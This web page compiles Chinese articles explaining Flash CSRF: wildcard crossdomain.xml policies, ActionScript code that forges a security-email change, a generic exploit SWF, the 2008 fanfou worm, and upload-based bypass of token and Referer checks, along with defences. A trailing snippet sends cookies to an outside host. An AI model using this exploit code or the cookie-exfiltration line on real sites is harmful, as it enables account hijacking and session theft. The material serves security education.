Flash CSRF 恶意利用攻击及防御

Flash CSRF名词解释

CSRF(Cross-site request forgery跨站请求伪造,是一种对网站的恶意利用,CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

Flash CSRF通常是由于Crossdomain.xml文件配置不当造成的,利用方法是使用swf来发起跨站请求伪造。

Flash CSRF形成的原因

看看如何寻找Flash CSRF:

首先我们要知道怎么形成CSRF的,CSRF形成的原因大概有以下几种:

Flash跨域权限管理文件Crossdomain.XML设置为允许所有主机/域名跨域对本站进行读写数据:

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain=”*”/>
</cross-domain-policy>

Flash跨域权限管理文件过滤规则不严(domain=”*”),导致可以从其它任何域传Flash产生CSRF。

如何来发现哪些地方存在Flash CSRF

由上面我们得知Flash CSRF是因为跨域权限管理文件配置不当而产生的,所以我们可以在根目录打开Crossdomain.xml来查看该网站或者只域名是否存在FLAH的CSRF:

http://www.xxx.com/crossdomain.xml

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain=”*”/>
</cross-domain-policy>

Flash CSRF可以干些什么

FlashCSRF漏洞查找流程:

Google hack:crossdomain filetype:xml

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from domain=”*” secure=”true”/>
</cross-domain-policy>

Secure=true的意思是只允许通过安全链接来请求本域的数据<HTTPS>

发现前2个全都是需要用ssl证书加密了之后的网站里面的Flash的文件才能获取本域的内容,考虑可以自己搭建SSL网站,然后调用Flash文件进去不就可以读他们网站的数据和发送post请求,可以找了这么多地方Flash还没有地方可以插的,在不屑努力下,找到BLOG根目录下面的CrossDomain.xml文件居然允许所有主机的Flash读取本域的数据

Flash CSRF如何利用

找一个可以插入Flash的地方,插入自己写的Flash,访客访问网页就会执行我们写的脚本

下面来看看Flash CSRF具体利用方法:来制造一个访客访问我们链接的时候,自动设置自己的密保邮箱:

首先添加保密邮箱点提交,然后抓包分析它提交了什么内容,然后来构造我们的Flash CSRF利用代码<没有反CSRFToken>

1、申请保密邮箱,浏览器向服务端发送了一个POST请求,请求地址和参数为:

POST:xxx.xxx.xx/xx.jsp?userid=xxxx&mail=dddd@dddd.com

2、由于我们之前测试保密邮箱得知服务端没有验证Referer,但是页面验证了Token,所以我们就可以直接把POST数据包中的请求地址,参数名,参数值,Token值取出来用于伪造绑定保密邮箱的请求。

利用代码:

package {
import flash.display.Sprite;
import flash.events.Event;
import flash.net.*;
import flash.text.TextField;
public class url extends Sprite
{
public function url()
{
//获取当前页面userid/token
var echo_txt:TextField = new TextField();
var targetURL:String = “http://xx.xx.cc”;
var request:URLRequest = new URLRequest(targetURL);
request.method = URLRequestMethod.GET;
request.data = “”;
sendToURL(request);
var loader:URLLoader=new URLLoader();
loader.addEventListener(Event.COMPLETE,completeHandler);
function completeHandler(event:Event):void{
var userid:String=((loader.data+””).match(/\/xxxx\/mxxxx\.php\?xxid=(\d+)/)||[“”,””])[1];
var masthash:String=((loader.data+””).match(/\/xxxx\/mxxxx\.php\?masthash=(\d+)/)||[“”,””])[1];
echo_txt.text = masthash;
//伪造申请密保邮箱POST请求
var emailtargetURL:String = “http://xxxxxx.xx.cc/xxxx/xxxx.jsp?mark=send”;
var emailrequest:URLRequest = new URLRequest(emailtargetURL);
emailrequest.method = URLRequestMethod.POST;
var postdata:Object = new Array();
postdata[0]=”xxxx=xxxx@xxx.cc&xxxx=”+xxxxx&”xxxxx=”+xxx;
emailrequest.data = postdata[0];
sendToURL(emailrequest);
}
loader.load(request);
}
}
}

Flash CSRF怎么防御

一句话概括:站点根目录CrossDomain.xml跨域获取信息权限控制好,精确到子域,

附一份CrossDomain.xml文件权限配置:

<?xml version=”1.0″?>
<cross-domain-policy>
<allow-access-from domain=”http://xx.xx.com” secure=”true”/>
<allow-access-from domain=”http://cc.xx.com” secure=”true”/>
</cross-domain-policy>

根据自己的业务需求来更改CrossDomain.xml文件配置,切记精确到子域,这样会大大减少Flash CSRF的风险!

通用Flash CSRF EXP : FlashCSRFexp.swf

使用方法:<真实环境中只需要加载flash文件就会执行其中代码,不过需要改写swf文件>

FlashCSRFexp.swf?url=http://www.xx.xx/x.jsp?&xx=xx&xx=xx&xx=xx&xx=xx
PS:url=[post请求的地址]&[参数值用&分开]

科普 Flash CSRF攻击

2008年底,某个月黑风高的夜晚,当时中国第一个微博网站饭否(fanfou.com)正值风光,我对这个网站进行了一次授权安全测试,其中有个漏洞引起了我的思考:如何最大化利用,如何发起一次新颖的攻击。

这个漏洞是CSRF(Cross Site Request Forgery,即跨站请求伪造),这个在当时是普遍不能再普遍,渺小不能再渺小的漏洞。我知道利用这个漏洞可以让用户的权限被劫持,然后自动做些用户无法预知的“坏事”。

由于我比较擅长Flash,当年大学期间做过N个Flash小动画,Flash里的ActionScript脚本也是客户端脚本,同样可以做些坏事(不就是发出一些伪造的HTTP请求嘛?对于懂编程的人来说,太简单了),于是我就想到利用Flash为载体,来进行一个静悄悄的攻击:
我找了个开源的Flash小游戏(连连看);
修改了里面的ActionScript代码,植入会发起伪造HTTP请求的代码;

重新生成出这个邪恶的Flash;
发布到自己的网站上;
发了条微博:“终于编写了第一个flash游戏:连连看:),太不容易了- -...欢迎测试:http://xxxx.com/enjoy_flash_game.php?hi=yyyy”;
我的好友看到后,点击链接过去玩,他们会不会觉得还挺好玩的?哈哈;
玩的过程中,Flash里的ActionScript代码执行了,发起了跨站伪造的请求,这个请求会带上这些人的Cookies(关键点),那么这个请求对于饭否来说就是合法的了,于是成功完成了一些邪恶操作:他们都发了篇微博,内容一样,还发了私信给自己的好友;
于是传播开了……
月黑风高嘛,还能传播,这说明夜猫子是很多的:),12:00->12:30半小时的时间,传播的很猛,人群开始紧张了,有人开始骂了,有人开始分析了,有人开始质疑了……

互联网开始沸腾了,我满足了,撤下了这个邪恶的Flash小游戏,写了个安全评估报告给了饭否,然后写出了第一篇Paper(第二天从北京到了阿里巴巴,参加他们的第一届精武门安全会议(也是唯一的一届),那时还是刺当主持人呢,圈子各位名声大的黑客也来了),我的第一次演讲就献给了这个Flash CSRF蠕虫,这是一个内部会议,所以没人知道那时发生了什么,很久之后我才公开。

之后CSRF完成了很多经典的攻击,比如直接打后台权限、搞下Gmail、银行网站等。CSRF的防御开始在那些开源Web应用中得到普及,各大互联网(具备SNS性质的)都开始注意到CSRF带来的恶意攻击,曾经人人网的一个链接就能摧毁一个人的所有日志,一个链接就能搞定一个站长的网站后台,黑客的手上拥有多大的权限……

爱因斯坦是最大的黑客
IC(知道创宇CEO)经常和我们说爱因斯坦的一句名言:“世界不是因为那些破坏者而变得危险,而是因为看着他们破坏而无动于衷的人而变得危险。” www.2cto.com 他说:“爱因斯坦才是最大的黑客!”

我们这些年尝试向Web应用厂商与站长去说明CSRF的危害可以如何的大,但,我们发现他们刚开始都无动于衷……这个在预料之内的(想想别人给我们“盛气凌人”的建议时?),基本都是出了安全问题才开始警惕,所以我们认为“通过无危害安全评估,证明出这个漏洞足够大的危害后,他们才会被触动;如果发生了有危害的黑客事件后,他们会立马行动。”

一份统计

我们的网站体检中心对导致Flash CSRF漏洞的原因之一(网站根目录下是否有crossdomain.xml且这个xml的allow-access-from是否为通配符,通配符表示任意域可以跨域获取本域的隐私数据)进行了统计,统计样本是hao123上那些热门的网站:7709个。

发现,18%的网站有这个crossdomain.xml,这其中有61%存在Flash CSRF漏洞。

注意下:前面说了crossdomain.xml配置不安全会导致任意域可以跨域获取本域的隐私数据,注意是读取,如果要跨域发送POST请求,还得看目标表单是否做了Token防御或验证码防御,是否判断了请求来源(比如只有本域内发起的POST请求才合法)。

防御
这个Flash CSRF的防御很简单:
1. crossdomain.xml的安全配置可以参考,指定好信任的域:
http://weibo.com/crossdomain.xml;
2. 注意:Discuz!安装后网站根目录下的这个文件,默认是不安全的,比如:http://bbs.uc.cn/crossdomain.xml;

答应开源的一个Flash安全测试小工具在这:https://github.com/evilcos/xss.swf,怎么使用自己看了:)

我们会持续性的进行安全科普,大家有什么问题可以在微信里给我们留言,我们会认真对待每份留言,并在下次发文时进行必要的解答。如果大家有什么安全八卦也欢迎投稿给我们。

科普改变世界,我们一起努力让这个互联网更好更安全吧!

Flash+Upload Csrf 攻击技术

Csrf的攻防技术都是比较成熟了的,如我在2008年写的文章《Bypass Preventing CSRF》http://www.xfocus.net/articles/200801/964.html ,目前对于国内的很多应用程序及SNS网站对于防御csrf多半使用的是token+Referer组合防御,然而对于flash而言在bypass这样的防御有着先天的优势。

一、Flash的调用及域

1、html调用flash,flash可以改后缀名。
2、flash可以单独访问,但是其效果类似与html调用同域的flash,但只这个后缀必须是swf。
3、flash发动请求时,是根据flash的域来判断的,而不是html来判断:
a、flash请求同域资源时,直接忽视crossdomain.xml。
b、flash请求外域资源时,受外域下crossdomain.xml里的策略限制。

二、flash的调用与Referer

html调用外域的flash时,flash发送的请求的Referer是flash的,而不是html的。[不包括多个flash互相load的场景]

三、Csrf攻击场景及方式

1、crossdomain.xml设置导致的csrf。

很多的网站及应用程序[如Discuz!],默认把crossdomain.xml设置如下:

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

这样直接通过外域的flash读取被攻击域的内容,报告防御csrf的关键tonken。

2、上传功能导致的csrf。

在上面我们提到了html调用flash的时候,是可以修改后缀的。所以我们可以提供把flash后缀改为图片的后缀如gif来上传到被攻击域[另外这里一点php里的getimagesize()是支持flash文件的http://cn2.php.net/manual/zh/function.getimagesize.php],然后根据“flash发动请求时,是根据flash的域来判断的,而不是html来判断”因为已经把flash后缀为gif上传到被攻击域,那么就是说目前完全符合“a、flash请求同域资源时,直接忽视crossdomain.xml”的情况。

另外根据“flash发送的请求的Referer是flash的,而不是html的”,所以在这种场景下,token+Referer判断的方式,基本可以无视了。

四、实际应用

参考《Discuz! Flash Csrf Vulnerability》

其实通过上传功能来实现flash csrf攻击案例,早在2008年80vul开展的项目SODB里就有http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt,只所以还要有今天的文章,主要是对一些细节强调不够,导致很多人的理解偏差,如在sodb-2008-03里我对上传文件的利用只是为了简单的绕过Referer判断来完成的,而忽视了“flash请求同域资源时,直接忽视crossdomain.xml”的请求,这个对于防御的意义还是很大的,因为你即使删除了crossdomain.xml文件,也不能完全防御flash csrf攻击。

五、防御方案

这里只针对上传功能场景下的攻击防御。

1、《代码与数据分离是安全设计的重要原则》by 刺
也就是严格把上传文件存放的域与web代码域分离,这个比较适合大企业及应用的部署。
2、加强对上传文件的判断,比如通过文件头来判断上传是不是flash文件,来禁止上传flash文件。
3、加强Referer的处理,因为flash发起的请求的Referer是flash文件的,也就是说你把flash改为gif文件通过html调用,发起的请求了Referer是这个已经改为gif的flash的url如:

yun_qi_img/1004333ntvhrv8vvy8lrc4.gif

POST http://127.0.0.1/Discuz_X2.5_SC_UTF8/upload/admin.php?action=members&operation=add HTTP/1.1
Host: 127.0.0.1
....
Referer: yun_qi_img/1004333ntvhrv8vvy8lrc4.gif
....

那么我通过识别Referer里这些类似的不常见的文件类型来防御。

时间: 2024-10-22 21:00:12

Flash CSRF 恶意利用攻击及防御的相关文章

Adobe Flash再爆零日漏洞 或被用于恶意广告攻击

继1月23日公布Adobe Flash漏洞之后,趋势科技的于近日率先发现一种新的Adobe Flash零日漏洞,这个被标识为"CVE-2015-0313"的漏洞会影响Adobe Flash最新版本及之前的版本,并可能被应用于恶意广告攻击.由于Adobe公司还没有发布针对此漏洞的正式补丁或解决方案,趋势科技建议用户暂时禁用或阻止受影响版本的Flash Player. 目前,已有恶意网站利用该漏洞进行攻击.趋势科技监测发现,国外某热门网站的访问者会被重定向到一系列被篡改的URL,并最终被重

如何利用HttpOnly来防御xss攻击

xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了... 如下js获取cookie信息: url=document.top.location.href; cookie=document.cookie; c=new Image(); c.src='http://www.******.com/c.php?c='+coo

最先进的恶意广告攻击?雅虎、MSN 都中招

一个广告Banner,不需要什么交互就可能让你的PC感染恶意程序,是不是感觉很牛掰?据说就目前为止,已经有上百万PC因为这样的原因被感染.而且很多大型网站似乎都中招了,其中就包括雅虎和MSN,如果你最近看到过下面这样的广告,就真的要小心了!注意,只是看到就要小心. 像素中的恶意代码 安全公司ESET的恶意软件研究专家在本周二发布了报告,将这个Exploit Kit称为Stegano.Stegano可以将恶意代码嵌入banner广告的像素中,而这些banner广告通常都在一些广为人知的大型网站上,

机器多次恶意提交攻击简单防范

先说背景:机器不断的发送请求或者恶意提交,会给服务器造成很大压力:针对这种攻击最优的策略是判断提交次数,产生动态验证码,即判断ip规定时间内重复发送达到N次弹出验证码.下面是小拽在实践过程中一个简单的识别ip,利用session记录和防御的过程. 识别和校验ip 过程如下: 识别ip ip属于白名单直接通过[白名单策略:内网ip+指定ip表] 利用session存储ip的请求时间戳 校验规定时间内ip的请求次数 采取相应的措施 /** * 获取和校验ip:同时防止短时间内多次提交 * * @no

电力系统防恶意信息攻击的思考

1.问题的提出和研究意义 现代电力系统已经发展为由物理电力系统和信息通信系统构成的复杂耦合网络系统.已有研究表明,无论是电力系统本身,还是信息通信系统中的部件发生故障或是被攻击,都可能导致整个耦合网络的瘫痪. 数据采集与监控(SCADA)系统就极易受到攻击.2007年,全球最大的黑客大会"Defcon"就提出SCADA系统将成为黑客攻击的主要目标.这里的黑客有可能是恶意的个人和组织,也有可能是恐怖分子,甚至有可能是敌对国家和地区.在电力系统中大量应用的工业控制系统,也极易成为信息攻击的

安全攻防:缩小攻击与防御差距的4个步骤

本文讲的是 : 安全攻防:缩小攻击与防御差距的4个步骤   ,  [IT168 编译]从近期出现的数据泄密新闻中,我们看到由于企业未能抵御安全攻击,使得黑客攻击成功,并窃取了这些企业的重要数据.Target公司失去了客户的信用卡和借记卡数据,Adobe公司损失了其客户的信用卡信息以及ID和密码,易趣公司也泄漏了其客户的个人信息包括电子邮件地址和物理地址. 这些数据泄漏事故已经在个人消费者心中造成了不安,并且让泄密的公司因为名誉和品牌的损害造成数百万美元的损失,更不用说缓解和恢复的成本.而我们所知

也谈跨站脚本攻击与防御_木马相关

网络上曾经有过关于跨站脚本攻击与防御的文章,但是随着攻击技术的进步,以前的关于跨站脚本攻击的看法与理论已经不能满足现在的攻击与防御的需要了,而且由于这种对于跨站脚本认识上的混乱,导致现在很多的程序包括现在的动网都存在着跨站脚本过滤不严的问题,希望本文能给写程序的与研究程序的带来一点思路. 还是首先看看跨站脚本漏洞的成因,所谓跨站脚本漏洞其实就是Html的注入问题,恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码,数据流

又一零日漏洞被APT28利用攻击各国政府及军方机构

本文讲的是又一零日漏洞被APT28利用攻击各国政府及军方机构,一个以政府.军方和媒体机构为目标的网络间谍组织,使用了甲骨文一个没有补丁的Java漏洞发动攻击. 这个零日漏洞的利用程序最近被趋势科技的研究人员发现,该程序用来攻击北约一个成员国的军队和美国国防机构.这个名为APT28或 Pawn Storm的网络间谍组织,至少从2007年起就开始活动.一些安全厂商认为,这个组织是由俄罗斯操纵的,并与该国的情报机关有联系.该组织以欧洲.亚洲和中东地区的政府.北约成员国.国防承包商及媒体机构为目标,这些

也谈跨站脚本攻击与防御

网络上曾经有过关于跨站脚本攻击与防御的文章,但是随着攻击技术的进步,以前的关于跨站脚本攻击的看法与理论已经不能满足现在的攻击与防御的需要了,而且由于这种对于跨站脚本认识上的混乱,导致现在很多的程序包括现在的动网都存在着跨站脚本过滤不严的问题,希望本文能给写程序的与研究程序的带来一点思路. 还是首先看看跨站脚本漏洞的成因,所谓跨站脚本漏洞其实就是Html的注入问题,恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码,数据流